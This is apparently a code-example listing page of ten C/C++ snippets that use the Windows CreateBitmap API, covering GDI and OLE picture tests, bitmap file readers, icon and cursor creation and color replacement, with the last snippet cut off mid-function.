Esempio n. 1
0
static void test_GetCurrentObject(void)
{
    DWORD type;
    HPEN hpen;
    HBRUSH hbrush;
    HPALETTE hpal;
    HFONT hfont;
    HBITMAP hbmp;
    HRGN hrgn;
    HDC hdc;
    HCOLORSPACE hcs;
    HGDIOBJ hobj;
    LOGBRUSH lb;
    LOGCOLORSPACEA lcs;

    hdc = CreateCompatibleDC(0);
    assert(hdc != 0);

    type = GetObjectType(hdc);
    ok(type == OBJ_MEMDC, "GetObjectType returned %u\n", type);

    hpen = CreatePen(PS_SOLID, 10, RGB(10, 20, 30));
    assert(hpen != 0);
    SelectObject(hdc, hpen);
    hobj = GetCurrentObject(hdc, OBJ_PEN);
    ok(hobj == hpen, "OBJ_PEN is wrong: %p\n", hobj);
    hobj = GetCurrentObject(hdc, OBJ_EXTPEN);
    ok(hobj == hpen, "OBJ_EXTPEN is wrong: %p\n", hobj);

    hbrush = CreateSolidBrush(RGB(10, 20, 30));
    assert(hbrush != 0);
    SelectObject(hdc, hbrush);
    hobj = GetCurrentObject(hdc, OBJ_BRUSH);
    ok(hobj == hbrush, "OBJ_BRUSH is wrong: %p\n", hobj);

    hpal = CreateHalftonePalette(hdc);
    assert(hpal != 0);
    SelectPalette(hdc, hpal, FALSE);
    hobj = GetCurrentObject(hdc, OBJ_PAL);
    ok(hobj == hpal, "OBJ_PAL is wrong: %p\n", hobj);

    hfont = CreateFontA(10, 5, 0, 0, FW_DONTCARE, 0, 0, 0, ANSI_CHARSET,
                        OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
                        DEFAULT_PITCH, "MS Sans Serif");
    assert(hfont != 0);
    SelectObject(hdc, hfont);
    hobj = GetCurrentObject(hdc, OBJ_FONT);
    ok(hobj == hfont, "OBJ_FONT is wrong: %p\n", hobj);

    hbmp = CreateBitmap(100, 100, 1, 1, NULL);
    assert(hbmp != 0);
    SelectObject(hdc, hbmp);
    hobj = GetCurrentObject(hdc, OBJ_BITMAP);
    ok(hobj == hbmp, "OBJ_BITMAP is wrong: %p\n", hobj);

    assert(GetObjectA(hbrush, sizeof(lb), &lb) == sizeof(lb));
    hpen = ExtCreatePen(PS_GEOMETRIC | PS_SOLID | PS_ENDCAP_SQUARE | PS_JOIN_BEVEL,
                        10, &lb, 0, NULL);
    assert(hpen != 0);
    SelectObject(hdc, hpen);
    hobj = GetCurrentObject(hdc, OBJ_PEN);
    ok(hobj == hpen, "OBJ_PEN is wrong: %p\n", hobj);
    hobj = GetCurrentObject(hdc, OBJ_EXTPEN);
    ok(hobj == hpen, "OBJ_EXTPEN is wrong: %p\n", hobj);

    hcs = GetColorSpace(hdc);
    if (hcs)
    {
        trace("current color space is not NULL\n");
        ok(GetLogColorSpaceA(hcs, &lcs, sizeof(lcs)), "GetLogColorSpace failed\n");
        hcs = CreateColorSpaceA(&lcs);
        ok(hcs != 0, "CreateColorSpace failed\n");
        SelectObject(hdc, hcs);
        hobj = GetCurrentObject(hdc, OBJ_COLORSPACE);
        ok(hobj == hcs, "OBJ_COLORSPACE is wrong: %p\n", hobj);
    }

    hrgn = CreateRectRgn(1, 1, 100, 100);
    assert(hrgn != 0);
    SelectObject(hdc, hrgn);
    hobj = GetCurrentObject(hdc, OBJ_REGION);
    ok(!hobj, "OBJ_REGION is wrong: %p\n", hobj);

    DeleteDC(hdc);
}
Esempio n. 2
0
long WINDOW::Export()
  {
  OpWndItemD*             wi;
  int                     i;
  WNDITEM_DATA*           wid;
  WINDOWRUNTIME*          wr;
  HBRUSH                  hbr;
  HBITMAP                 hbmp;
  char                  	szTitle[I_TITLE_LENGTH+1];

  wr = new WINDOWRUNTIME(1, TRUE);  //This class needs to be created so the shape library name stuff will work

  AUpsfExportField(g_szUpsf_version, 0L, AUPSF_NATV_INT, AUPSF_UNIV_INTEGER, &m_version, sizeof(int));
	GetTitle(szTitle, I_TITLE_LENGTH);
  AUpsfExportField(g_szUpsf_title, 0L, AUPSF_NATV_STRING, AUPSF_UNIV_TEXT, szTitle, (LONG)lstrlen(szTitle) );

  // The pieces of the window style --------
  ExportBool(g_szUpsf_titlebar,    0L, HasTitleBar() );
  ExportBool(g_szUpsf_sysmenu,     0L, HasSysMenu() );
  ExportBool(g_szUpsf_maxbutton,   0L, HasMaxButton() );
  ExportBool(g_szUpsf_minbutton,   0L, HasMinButton() );
  ExportBool(g_szUpsf_horzscroll,  0L, HasHorzScroll() );
  ExportBool(g_szUpsf_vertscroll,  0L, HasVertScroll() );
  ExportBool(g_szUpsf_resize,      0L, HasResizeFrame() );
  ExportBool(g_szUpsf_dialogframe, 0L, HasDialogFrame() );
  ExportBool(g_szUpsf_modal,       0L, IsModal() );
  ExportBool(g_szUpsf_ontop,       0L, IsPopup() );
  ExportBool(g_szUpsf_initvisible, 0L, IsInitVisible() );
  ExportBool(g_szUpsf_drawsmooth,  0L, DrawsSmooth() );
  ExportBool(g_szUpsf_closeonexit, 0L, QuitsOnClose() );

  ExportLogicalRect(m_oiSelf, g_szUpsf_initrect, 0L, &m_rclInitialClient);

  ExportBool(g_szUpsf_limitsize,  0L, m_bLimitMaxSize);
  ExportLogicalPoint(m_oiSelf, g_szUpsf_maxsize, 0L, &m_ptlMaxSize);
  ExportLogicalPoint(m_oiSelf, g_szUpsf_minsize, 0L, &m_ptlMinSize);
  ExportLogicalPoint(m_oiSelf, g_szUpsf_scrollsize, 0L, &m_ptlScrollSize);

  AUpsfExportField(g_szUpsf_menuid, 0L, AUPSF_NATV_OBJECTREF, AUPSF_UNIV_OBJECTREF, &m_oiMenu, sizeof(OBJECTID) );
  AUpsfExportField(g_szUpsf_nextsignal, 0L, AUPSF_NATV_LONG, AUPSF_UNIV_NUMBER, &m_uidNext, sizeof(long) );

  // export the window background information
  hbmp = CreateBitmap(8, 8, 1, 1, m_aPattern);
  hbr  = CreatePatternBrush(hbmp);
  ExportBrush(g_szUpsf_bg_pattern, 0, hbr);
  DeleteObject(hbmp);
  DeleteObject(hbr);
  ExportColor(g_szUpsf_bg_fgcolor, 0, (m_clrForeground == I_WINDOW_FOREGROUND) ? GetSysColor(COLOR_WINDOWTEXT) : m_clrForeground);
  ExportColor(g_szUpsf_bg_bgcolor, 0, (m_clrBackground == I_WINDOW_BACKGROUND) ? GetSysColor(COLOR_WINDOW) : m_clrBackground);
  ExportBool(g_szUpsf_bg_fgdefault, 0, m_clrForeground == I_WINDOW_FOREGROUND);
  ExportBool(g_szUpsf_bg_bgdefault, 0, m_clrBackground == I_WINDOW_BACKGROUND);

  //Now, export the window items..
  m_nItems = (int)( AObjGetDataCount(m_oiSelf) - I_DATA_ITEMS_OFFSET);

  for (i=0; i<m_nItems; i++)
    {
    wid = LockItemData(m_oiSelf, i);
    I_VERIFY_POINTER(wid, continue);

    wi = wid->CreateVI(m_oiSelf, GetItemDataSize(m_oiSelf, i), i);
    I_VERIFY_POINTER(wi, continue);

    if(AUpsfCreateScope(g_szUpsf_item_scope, i)==AUPSF_NOERROR)
      {
      if(WINDOWAPI::IsItemShape(wi) || WINDOWAPI::IsItemGroup(wi))
        {
        AUpsfExportField(g_szUpsf_item_id, 0L, AUPSF_NATV_OBJECTREF, AUPSF_UNIV_OBJECTREF, &m_oiSelf, sizeof(OBJECTID) );
        ExportBool(g_szUpsf_item_shape, 0L, WINDOWAPI::IsItemShape(wi));
        ExportBool(g_szUpsf_item_group, 0L, WINDOWAPI::IsItemGroup(wi));
        ExportLong(g_szUpsf_item_typeid, 0L, (long)wi->Type());
        }
      else
        AUpsfExportField(g_szUpsf_item_id, 0L, AUPSF_NATV_OBJECTREF, AUPSF_UNIV_OBJECTREF, &wi->m_oiObject, sizeof(OBJECTID) );

      ExportLogicalRect(m_oiSelf, g_szUpsf_item_rect, 0L, &wi->m_rcItem);
      ExportBool(g_szUpsf_item_visible, 0L, WINDOWAPI::IsItemVisible(wi) );
      ExportBool(g_szUpsf_item_tabstop, 0L, WINDOWAPI::IsItemTabstop(wi) );
      ExportBool(g_szUpsf_item_groupstop, 0L, WINDOWAPI::IsItemGroupstop(wi) );
      ExportBool(g_szUpsf_item_locked, 0L, WINDOWAPI::IsItemLocked(wi) );
      ExportShort(g_szUpsf_item_growsflag, 0L, wi->m_grow);
      AUpsfExportField(g_szUpsf_item_signalid, 0L, AUPSF_NATV_LONG, AUPSF_UNIV_NUMBER, &wi->m_uidItem, sizeof(long) );

      if(AUpsfCreateScope(g_szUpsf_item_extrascope, 0)==AUPSF_NOERROR)
        {
        if(WINDOWAPI::IsItemShape(wi) || WINDOWAPI::IsItemGroup(wi))
          {
          AObjMessage msg = {(long)wi, 0L, 0L, 0L, ""};
          if((wr->GetShapeAdmin(wi->Type()))(OSHP_QUERYVERSIONANDID, &msg) == A_OK)
            {
            ExportShort(g_szUpsf_shape_version, 0, (short)msg.message2);
            ExportShort(g_szUpsf_shape_type, 0, (short)msg.message3);
            }
          }
        AUpsfExportField(g_szUpsf_shape_dll, 0L, AUPSF_NATV_STRING, AUPSF_UNIV_STRING, wid->m_szShapeDll, strlen(wid->m_szShapeDll));
        wi->ExportExtraData();
        AUpsfCloseScope(); //extra data scope
        }

      AUpsfCloseScope(); //Item scope
      }

    wi->Destroy();
    UnlockItemData(m_oiSelf, i);
    }

  delete wr;
  return A_OK;
  }
Esempio n. 3
0
static HBITMAP WRReadBitmap( BYTE *data, long offset, BOOL core, bitmap_info *info )
{
    DWORD               size;           /* generic size - used repeatedly */
    BYTE _HUGE          *mask_ptr;      /* pointer to bit array in memory */
    HDC                 hdc;
    HPALETTE            new_palette, old_palette;
    BITMAPINFO          *bm_info;
    BITMAPCOREINFO      *bm_core;
    HBITMAP             bitmap_handle;
    int                 pos;

    bitmap_handle = (HBITMAP)NULL;

    if( core ) {
        bm_core = WRReadCoreInfo( &data );
        if( bm_core == NULL ) {
            return( bitmap_handle );
        }
        size = BITS_TO_BYTES( bm_core->bmciHeader.bcWidth * bm_core->bmciHeader.bcBitCount,
                              bm_core->bmciHeader.bcHeight );
    } else {
        bm_info = WRReadDIBInfo( &data );
        if( bm_info == NULL ) {
            return( bitmap_handle );
        }
        size = BITS_TO_BYTES( bm_info->bmiHeader.biWidth * bm_info->bmiHeader.biBitCount,
                              bm_info->bmiHeader.biHeight );
    }

    pos = offset;
    mask_ptr = __halloc( size, 1 );
    if( mask_ptr != NULL ) {
        WRReadInPieces( mask_ptr, data, size );
        if( core ) {
            BITMAPCOREHEADER    *h;

            h = &bm_core->bmciHeader;
            /*
             * This will cause a GP Fault!
             */
            bitmap_handle = CreateBitmap( h->bcWidth, h->bcHeight, h->bcPlanes,
                                          h->bcBitCount, mask_ptr );
        } else {
            if( bm_info->bmiHeader.biBitCount < 9 ) {
                /* Bitmap has palette, create it */            
                new_palette = CreateDIBPalette( bm_info );
                if( new_palette != NULL ) {
                    hdc = GetDC( (HWND)NULL );
                    old_palette = SelectPalette( hdc, new_palette, FALSE );
                    RealizePalette( hdc );
                    bitmap_handle = CreateDIBitmap( hdc, &bm_info->bmiHeader, CBM_INIT,
                                                    mask_ptr, bm_info, DIB_RGB_COLORS );
                    SelectPalette( hdc, old_palette, FALSE );
                    DeleteObject( new_palette );
                    ReleaseDC( (HWND)NULL, hdc );
                }
            } else {
                /* Bitmap with no palette*/
                hdc = GetDC( (HWND)NULL );
                bitmap_handle = CreateDIBitmap( hdc, &bm_info->bmiHeader, CBM_INIT,
                                                mask_ptr, bm_info, DIB_RGB_COLORS );
                ReleaseDC( (HWND)NULL, hdc );
            }
        }
        __hfree( mask_ptr );
    }
    if( core ) {
        if( info != NULL ) {
            info->bm_core = bm_core;
        } else {
            WRMemFree( bm_core );
        }
    } else {
        if( info != NULL ) {
            info->bm_info = bm_info;
        } else {
            WRMemFree( bm_info );
        }
    }
    return( bitmap_handle );
}
Esempio n. 4
0
/***********************************************************************
 *          create_icon_from_bmi
 *
 * Create an icon from its BITMAPINFO.
 */
static HICON create_icon_from_bmi( const BITMAPINFO *bmi, DWORD maxsize, HMODULE module, LPCWSTR resname,
                                   HRSRC rsrc, POINT hotspot, BOOL bIcon, INT width, INT height,
                                   UINT cFlag )
{
    DWORD size, color_size, mask_size;
    HBITMAP color = 0, mask = 0, alpha = 0;
    const void *color_bits, *mask_bits;
    BITMAPINFO *bmi_copy;
    BOOL ret = FALSE;
    BOOL do_stretch;
    HICON hObj = 0;
    HDC hdc = 0;

    /* Check bitmap header */

    if (maxsize < sizeof(BITMAPCOREHEADER))
    {
        return 0;
    }
    if (maxsize < bmi->bmiHeader.biSize)
    {
        WARN( "invalid header size %u\n", bmi->bmiHeader.biSize );
        return 0;
    }
    if ( (bmi->bmiHeader.biSize != sizeof(BITMAPCOREHEADER)) &&
         (bmi->bmiHeader.biSize != sizeof(BITMAPINFOHEADER)  ||
         (bmi->bmiHeader.biCompression != BI_RGB &&
          bmi->bmiHeader.biCompression != BI_BITFIELDS)) )
    {
        WARN( "invalid bitmap header %u\n", bmi->bmiHeader.biSize );
        return 0;
    }

    size = bitmap_info_size( bmi, DIB_RGB_COLORS );
    color_size = get_dib_image_size( bmi->bmiHeader.biWidth, bmi->bmiHeader.biHeight / 2,
                                     bmi->bmiHeader.biBitCount );
    mask_size = get_dib_image_size( bmi->bmiHeader.biWidth, bmi->bmiHeader.biHeight / 2, 1 );
    if (size > maxsize || color_size > maxsize - size)
    {
        WARN( "truncated file %u < %u+%u+%u\n", maxsize, size, color_size, mask_size );
        return 0;
    }
    if (mask_size > maxsize - size - color_size) mask_size = 0;  /* no mask */

    if (cFlag & LR_DEFAULTSIZE)
    {
        if (!width) width = GetSystemMetrics( bIcon ? SM_CXICON : SM_CXCURSOR );
        if (!height) height = GetSystemMetrics( bIcon ? SM_CYICON : SM_CYCURSOR );
    }
    else
    {
        if (!width) width = bmi->bmiHeader.biWidth;
        if (!height) height = bmi->bmiHeader.biHeight/2;
    }
    do_stretch = (bmi->bmiHeader.biHeight/2 != height) ||
                 (bmi->bmiHeader.biWidth != width);

    /* Scale the hotspot */
    if (bIcon)
    {
        hotspot.x = width / 2;
        hotspot.y = height / 2;
    }
    else if (do_stretch)
    {
        hotspot.x = (hotspot.x * width) / bmi->bmiHeader.biWidth;
        hotspot.y = (hotspot.y * height) / (bmi->bmiHeader.biHeight / 2);
    }

    if (!screen_dc) screen_dc = CreateDCW( DISPLAYW, NULL, NULL, NULL );
    if (!screen_dc) return 0;

    if (!(bmi_copy = (BITMAPINFO*)HeapAlloc( GetProcessHeap(), 0, max( size, FIELD_OFFSET( BITMAPINFO, bmiColors[2] )))))
        return 0;
    if (!(hdc = CreateCompatibleDC( 0 ))) goto done;

    memcpy( bmi_copy, bmi, size );
    bmi_copy->bmiHeader.biHeight /= 2;

    color_bits = (const char*)bmi + size;
    mask_bits = (const char*)color_bits + color_size;

    alpha = 0;
    if (is_dib_monochrome( bmi ))
    {
        if (!(mask = CreateBitmap( width, height * 2, 1, 1, NULL ))) goto done;
        color = 0;

        /* copy color data into second half of mask bitmap */
        SelectObject( hdc, mask );
        StretchDIBits( hdc, 0, height, width, height,
                       0, 0, bmi_copy->bmiHeader.biWidth, bmi_copy->bmiHeader.biHeight,
                       color_bits, bmi_copy, DIB_RGB_COLORS, SRCCOPY );
    }
    else
    {
        if (!(mask = CreateBitmap( width, height, 1, 1, NULL ))) goto done;
        if (!(color = CreateBitmap( width, height, GetDeviceCaps( screen_dc, PLANES ),
                                     GetDeviceCaps( screen_dc, BITSPIXEL ), NULL )))
        {
            DeleteObject( mask );
            goto done;
        }
        SelectObject( hdc, color );
        StretchDIBits( hdc, 0, 0, width, height,
                       0, 0, bmi_copy->bmiHeader.biWidth, bmi_copy->bmiHeader.biHeight,
                       color_bits, bmi_copy, DIB_RGB_COLORS, SRCCOPY );

        if (bmi_has_alpha( bmi_copy, color_bits ))
            alpha = create_alpha_bitmap(bmi_copy, color_bits ,width,height);

        /* convert info to monochrome to copy the mask */
        bmi_copy->bmiHeader.biBitCount = 1;
        if (bmi_copy->bmiHeader.biSize != sizeof(BITMAPCOREHEADER))
        {
            RGBQUAD *rgb = bmi_copy->bmiColors;

            bmi_copy->bmiHeader.biClrUsed = bmi_copy->bmiHeader.biClrImportant = 2;
            rgb[0].rgbBlue = rgb[0].rgbGreen = rgb[0].rgbRed = 0x00;
            rgb[1].rgbBlue = rgb[1].rgbGreen = rgb[1].rgbRed = 0xff;
            rgb[0].rgbReserved = rgb[1].rgbReserved = 0;
        }
        else
        {
            RGBTRIPLE *rgb = (RGBTRIPLE *)(((BITMAPCOREHEADER *)bmi_copy) + 1);

            rgb[0].rgbtBlue = rgb[0].rgbtGreen = rgb[0].rgbtRed = 0x00;
            rgb[1].rgbtBlue = rgb[1].rgbtGreen = rgb[1].rgbtRed = 0xff;
        }
    }

    if (mask_size)
    {
        SelectObject( hdc, mask );
        StretchDIBits( hdc, 0, 0, width, height,
                       0, 0, bmi_copy->bmiHeader.biWidth, bmi_copy->bmiHeader.biHeight,
                       mask_bits, bmi_copy, DIB_RGB_COLORS, SRCCOPY );
    }
    ret = TRUE;

done:
    DeleteDC( hdc );
    HeapFree( GetProcessHeap(), 0, bmi_copy );
	if(ret)
	{
		ICONINFO iconInfo={0};
		iconInfo.fIcon=bIcon;
		iconInfo.xHotspot=hotspot.x;
		iconInfo.yHotspot=hotspot.y;
		if(alpha)
		{
			iconInfo.hbmColor=alpha;
			iconInfo.hbmMask=mask;
		}
		else
		{
			iconInfo.hbmColor=color;
			iconInfo.hbmMask=mask;
		}

		hObj=CreateIconIndirect(&iconInfo);
		if(color) DeleteObject( color );
		if(alpha) DeleteObject( alpha );
		if(mask) DeleteObject( mask );
	}
	return hObj;
}
Esempio n. 5
0
void Food::Initilize(Position * position)
{
								this->position = position;
								drawing = CreateBitmap(position);
								CollisionDetection::Instance()->Add(this);
}
Esempio n. 6
0
HBITMAP CNoteDlg::ReplaceColor(HBITMAP hBmp, COLORREF cOldColor, COLORREF cNewColor, HDC hBmpDC)
{
    HBITMAP RetBmp = NULL;
    if (hBmp)
    {	
        HDC BufferDC = CreateCompatibleDC(NULL);	// DC for Source Bitmap
		if (BufferDC)
		{
			HBITMAP hTmpBitmap = (HBITMAP) NULL;
			if (hBmpDC)
				if (hBmp == (HBITMAP)GetCurrentObject(hBmpDC, OBJ_BITMAP))
				{
					hTmpBitmap = CreateBitmap(1, 1, 1, 1, NULL);
					SelectObject(hBmpDC, hTmpBitmap);
				}
				
				HGDIOBJ PreviousBufferObject = SelectObject(BufferDC,hBmp);
				// Here BufferDC contains the bitmap
				
				HDC DirectDC = CreateCompatibleDC(NULL); // DC for working		
				if (DirectDC)
				{
					// Get bitmap size
					BITMAP bm;
					GetObject(hBmp, sizeof(bm), &bm);
					
					// Create a BITMAPINFO with minimal initilisation 
					// for the CreateDIBSection
					BITMAPINFO RGB32BitsBITMAPINFO; 
					ZeroMemory(&RGB32BitsBITMAPINFO,sizeof(BITMAPINFO));
					RGB32BitsBITMAPINFO.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
					RGB32BitsBITMAPINFO.bmiHeader.biWidth = bm.bmWidth;
					RGB32BitsBITMAPINFO.bmiHeader.biHeight = bm.bmHeight;
					RGB32BitsBITMAPINFO.bmiHeader.biPlanes = 1;
					RGB32BitsBITMAPINFO.bmiHeader.biBitCount = 32;
					
					// Pointer used for direct Bitmap pixels access
					UINT * ptPixels;	
					
					HBITMAP DirectBitmap = CreateDIBSection(DirectDC, 
						(BITMAPINFO *)&RGB32BitsBITMAPINFO, 
						DIB_RGB_COLORS,
						(void **)&ptPixels, 
						NULL, 0);
					if (DirectBitmap)
					{
						// Here DirectBitmap!=NULL so ptPixels!=NULL no need to test
						HGDIOBJ PreviousObject = SelectObject(DirectDC, DirectBitmap);
						BitBlt(DirectDC,0,0,
							bm.bmWidth,bm.bmHeight,
							BufferDC,0,0,SRCCOPY);					
						// Here the DirectDC contains the bitmap
						
						// Convert COLORREF to RGB (Invert RED and BLUE)
						cOldColor = COLORREF2RGB(cOldColor);
						cNewColor = COLORREF2RGB(cNewColor);
						
						// After all the inits we can do the job : Replace Color
						for (int i=((bm.bmWidth*bm.bmHeight)-1); i>=0; i--)
						{
							if (ptPixels[i] == cOldColor) ptPixels[i] = cNewColor;
						}
						// Little clean up
						// Don't delete the result of SelectObject because it's 
						// our modified bitmap (DirectBitmap)
						SelectObject(DirectDC,PreviousObject);
						
						// Finish
						RetBmp = DirectBitmap;
					}
					// Clean up
					DeleteDC(DirectDC);
				}			
				if (hTmpBitmap)
				{
					SelectObject(hBmpDC, hBmp);
					DeleteObject(hTmpBitmap);
				}
				SelectObject(BufferDC,PreviousBufferObject);
				// BufferDC is now useless
				DeleteDC(BufferDC);
		}
    }
    return RetBmp;
}
Esempio n. 7
0
static void test_himetric(void)
{
    static const BYTE bmp_bits[1024];
    OLE_XSIZE_HIMETRIC cx;
    OLE_YSIZE_HIMETRIC cy;
    IPicture *pic;
    PICTDESC desc;
    HBITMAP bmp;
    HRESULT hr;
    HICON icon;
    HDC hdc;
    INT d;

    if (!pOleCreatePictureIndirect)
    {
        win_skip("OleCreatePictureIndirect not available\n");
        return;
    }

    desc.cbSizeofstruct = sizeof(desc);
    desc.picType = PICTYPE_BITMAP;
    desc.u.bmp.hpal = NULL;

    hdc = CreateCompatibleDC(0);

    bmp = CreateBitmap(1.9 * GetDeviceCaps(hdc, LOGPIXELSX),
                       1.9 * GetDeviceCaps(hdc, LOGPIXELSY), 1, 1, NULL);

    desc.u.bmp.hbitmap = bmp;

    /* size in himetric units reported rounded up to next integer value */
    hr = pOleCreatePictureIndirect(&desc, &IID_IPicture, FALSE, (void**)&pic);
    ok(hr == S_OK, "got 0x%08x\n", hr);

    cx = 0;
    d = MulDiv((INT)(1.9 * GetDeviceCaps(hdc, LOGPIXELSX)), 2540, GetDeviceCaps(hdc, LOGPIXELSX));
    hr = IPicture_get_Width(pic, &cx);
    ok(hr == S_OK, "got 0x%08x\n", hr);
    ok(cx == d, "got %d, expected %d\n", cx, d);

    cy = 0;
    d = MulDiv((INT)(1.9 * GetDeviceCaps(hdc, LOGPIXELSY)), 2540, GetDeviceCaps(hdc, LOGPIXELSY));
    hr = IPicture_get_Height(pic, &cy);
    ok(hr == S_OK, "got 0x%08x\n", hr);
    ok(cy == d, "got %d, expected %d\n", cy, d);

    DeleteObject(bmp);
    IPicture_Release(pic);

    /* same thing with icon */
    icon = CreateIcon(NULL, GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON),
                      1, 1, bmp_bits, bmp_bits);
    ok(icon != NULL, "failed to create icon\n");

    desc.picType = PICTYPE_ICON;
    desc.u.icon.hicon = icon;

    hr = pOleCreatePictureIndirect(&desc, &IID_IPicture, FALSE, (void**)&pic);
    ok(hr == S_OK, "got 0x%08x\n", hr);

    cx = 0;
    d = MulDiv(GetSystemMetrics(SM_CXICON), 2540, GetDeviceCaps(hdc, LOGPIXELSX));
    hr = IPicture_get_Width(pic, &cx);
    ok(hr == S_OK, "got 0x%08x\n", hr);
    ok(cx == d, "got %d, expected %d\n", cx, d);

    cy = 0;
    d = MulDiv(GetSystemMetrics(SM_CYICON), 2540, GetDeviceCaps(hdc, LOGPIXELSY));
    hr = IPicture_get_Height(pic, &cy);
    ok(hr == S_OK, "got 0x%08x\n", hr);
    ok(cy == d, "got %d, expected %d\n", cy, d);

    IPicture_Release(pic);
    DestroyIcon(icon);

    DeleteDC(hdc);
}
Esempio n. 8
0
HICON _al_win_create_icon(HWND wnd,
   ALLEGRO_BITMAP *sprite, int xfocus, int yfocus, bool is_cursor, bool resize)
{
   int x, y;
   int sys_sm_cx, sys_sm_cy;
   HDC h_dc;
   HDC h_and_dc;
   HDC h_xor_dc;
   ICONINFO iconinfo;
   HBITMAP and_mask;
   HBITMAP xor_mask;
   HBITMAP hOldAndMaskBitmap;
   HBITMAP hOldXorMaskBitmap;
   HICON icon;

   if (resize) {
      if (is_cursor) {
         /* Get allowed cursor size - Windows can't make cursors of arbitrary size */
         sys_sm_cx = GetSystemMetrics(SM_CXCURSOR);
         sys_sm_cy = GetSystemMetrics(SM_CYCURSOR);
      }
      else {
         sys_sm_cx = GetSystemMetrics(SM_CXICON);
         sys_sm_cy = GetSystemMetrics(SM_CYICON);
      }

      if ((sprite->w > sys_sm_cx) || (sprite->h > sys_sm_cy)) {
         return NULL;
      }
   }
   else {
      sys_sm_cx = al_get_bitmap_width(sprite);
      sys_sm_cy = al_get_bitmap_height(sprite);
   }

   /* Create bitmap */
   h_dc = GetDC(wnd);
   h_xor_dc = CreateCompatibleDC(h_dc);
   h_and_dc = CreateCompatibleDC(h_dc);

   /* Prepare AND (monochrome) and XOR (colour) mask */
   and_mask = CreateBitmap(sys_sm_cx, sys_sm_cy, 1, 1, NULL);
   xor_mask = CreateCompatibleBitmap(h_dc, sys_sm_cx, sys_sm_cy);
   hOldAndMaskBitmap = (HBITMAP) SelectObject(h_and_dc, and_mask);
   hOldXorMaskBitmap = (HBITMAP) SelectObject(h_xor_dc, xor_mask);

   /* Create transparent cursor */
   for (y = 0; y < sys_sm_cy; y++) {
      for (x = 0; x < sys_sm_cx; x++) {
	 SetPixel(h_and_dc, x, y, WINDOWS_RGB(255, 255, 255));
	 SetPixel(h_xor_dc, x, y, WINDOWS_RGB(0, 0, 0));
      }
   }

   local_draw_to_hdc(h_xor_dc, sprite, 0, 0);

   /* Make cursor background transparent */
   for (y = 0; y < sprite->h; y++) {
      for (x = 0; x < sprite->w; x++) {
         ALLEGRO_COLOR c;
         unsigned char r, g, b, a;

         c = al_get_pixel(sprite, x, y);
         al_unmap_rgba(c, &r, &g, &b, &a);
         if (a != 0) {
	    /* Don't touch XOR value */
	    SetPixel(h_and_dc, x, y, 0);
	 }
	 else {
	    /* No need to touch AND value */
	    SetPixel(h_xor_dc, x, y, WINDOWS_RGB(0, 0, 0));
	 }
      }
   }

   SelectObject(h_and_dc, hOldAndMaskBitmap);
   SelectObject(h_xor_dc, hOldXorMaskBitmap);
   DeleteDC(h_and_dc);
   DeleteDC(h_xor_dc);
   ReleaseDC(wnd, h_dc);

   iconinfo.fIcon = is_cursor ? false : true;
   iconinfo.xHotspot = xfocus;
   iconinfo.yHotspot = yfocus;
   iconinfo.hbmMask = and_mask;
   iconinfo.hbmColor = xor_mask;

   icon = CreateIconIndirect(&iconinfo);

   DeleteObject(and_mask);
   DeleteObject(xor_mask);

   return icon;
}
Esempio n. 9
0
/*
 * readBitmap - read a bitmap from a file
 */
static HBITMAP readBitmap( HWND hwnd, FILE *fp, long offset, bool core, bitmap_info *info )
{
    DWORD               size;           /* generic size - used repeatedly */
    BYTE _WCI86HUGE     *mask_ptr;      /* pointer to bit array in memory */
    HDC                 hdc;
    HPALETTE            new_palette;
    HPALETTE            old_palette;
    BITMAPINFO          *bm_info;
    BITMAPCOREINFO      *bm_core;
    HBITMAP             bitmap_handle;

    bitmap_handle = (HBITMAP)0;
    if( core ) {
        bm_core = readCoreInfo( fp );
        if( bm_core == NULL ) {
            return( bitmap_handle );
        }
        bm_info = NULL;
        size = BITS_TO_BYTES( bm_core->bmciHeader.bcWidth * bm_core->bmciHeader.bcBitCount,
                              bm_core->bmciHeader.bcHeight );
    } else {
        bm_info = readDIBInfo( fp );
        if( bm_info == NULL ) {
            return( bitmap_handle );
        }
        bm_core = NULL;
        size = BITS_TO_BYTES( bm_info->bmiHeader.biWidth * bm_info->bmiHeader.biBitCount,
                              bm_info->bmiHeader.biHeight );
    }
    fseek( fp, offset, SEEK_SET );
    mask_ptr = __halloc( size, 1 );
    if( mask_ptr != NULL ) {
        readInPieces( mask_ptr, fp, size );
        if( core ) {
            BITMAPCOREHEADER    *h;

            h = &bm_core->bmciHeader;

            /*
             * This will cause a GP Fault!
             */
            bitmap_handle = CreateBitmap( h->bcWidth, h->bcHeight, h->bcPlanes,
                                          h->bcBitCount, mask_ptr );
        } else {
            if( bm_info->bmiHeader.biBitCount < 9 ) {
                /* Bitmap has palette, create it */
                new_palette = CreateDIBPalette( bm_info );
                if( new_palette ) {
                    hdc = GetDC( hwnd );
                    old_palette = SelectPalette( hdc, new_palette, FALSE );
                    RealizePalette( hdc );
                    bitmap_handle = CreateDIBitmap( hdc, &bm_info->bmiHeader, CBM_INIT,
                                                    mask_ptr, bm_info, DIB_RGB_COLORS );
                    SelectPalette( hdc, old_palette, FALSE );
                    DeleteObject( new_palette );
                    ReleaseDC( hwnd, hdc );
                }
            } else {
                /* Bitmap with no palette */
                hdc = GetDC( hwnd );
                bitmap_handle = CreateDIBitmap( hdc, &bm_info->bmiHeader, CBM_INIT,
                                                mask_ptr, bm_info, DIB_RGB_COLORS );
                ReleaseDC( hwnd, hdc );
            }
        }
        __hfree( mask_ptr );
    }
    if( core ) {
        if( info != NULL ) {
            info->u.bm_core = bm_core;
        } else {
            MemFree( bm_core );
        }
    } else {
        if( info != NULL ) {
            info->u.bm_info = bm_info;
        } else {
            MemFree( bm_info );
        }
    }
    return( bitmap_handle );

} /* readBitmap */
Esempio n. 10
0
void CZipBackGroundBitmap::CreateBackBitmap(CRect& Area, int uiBackGround, int Options, int TickWidth, int TickHeight)
{
	// Clear background
	hDC = ::CreateCompatibleDC(NULL);
	CreateBitmap(Area.Width(), Area.Height(), 1, ::GetDeviceCaps(hDC, BITSPIXEL), NULL);
	hbmold = (HBITMAP)::SelectObject(hDC, (HBITMAP)(m_hObject));

	HBRUSH hBR = CreateSolidBrush(GetSysColor(COLOR_3DFACE));
	::FillRect(hDC, Area, hBR);
	::DeleteObject(hBR);

	// Copy Background picture
	if (uiBackGround)
	{
		CZipBitmap Pic;
		Pic.LoadBitmap(uiBackGround);
		HDC hdcMem = ::CreateCompatibleDC(NULL);
